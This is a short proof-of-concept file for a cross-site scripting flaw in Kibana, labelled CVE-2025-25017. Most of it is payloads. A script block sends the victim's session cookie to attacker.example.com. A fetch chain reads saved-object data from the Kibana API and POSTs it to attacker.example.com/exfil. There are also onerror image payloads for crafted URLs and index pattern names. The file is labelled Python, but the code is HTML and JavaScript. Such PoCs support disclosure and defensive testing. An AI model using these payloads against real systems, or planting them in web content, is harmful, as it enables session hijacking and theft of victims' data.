The following code is for security research and authorized testing only.
python
<!--
CVE-2025-25017 - Kibana XSS PoC
Vulnerability: Improper Neutralization of Input During Web Page Generation
This PoC demonstrates how an attacker can inject malicious JavaScript
through unescaped user input fields in Kibana.
-->
<!-- Example 1: Reflected XSS via URL parameter -->
<!-- Attacker crafts a malicious URL and sends it to a logged-in Kibana user -->
https://kibana.example.com/app/discover#/?_g=(filters:!())&_a=(query:(language:kuery,query:'))
<!-- Example 2: XSS payload injected into a dashboard visualization title -->
<script>
// Malicious payload - steal session cookie or perform actions on behalf of the user
fetch('https://attacker.example.com/steal?cookie=' + document.cookie);
// Or exfiltrate Elasticsearch data accessible to the victim
fetch('/api/saved_objects/_find?type=index-pattern&fields=title')
.then(r => r.json())
.then(data => {
fetch('https://attacker.example.com/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
<!-- Example 3: Stored XSS via index pattern or field name -->
<!-- When an admin creates an index pattern with a malicious name -->
<img src=x onerror="alert('XSS via Kibana CVE-2025-25017')">
<!-- Example 4: URL-based XSS in Kibana lens visualization -->
https://kibana.example.com/app/lens#/edit/<img/src=x onerror=alert(document.domain)>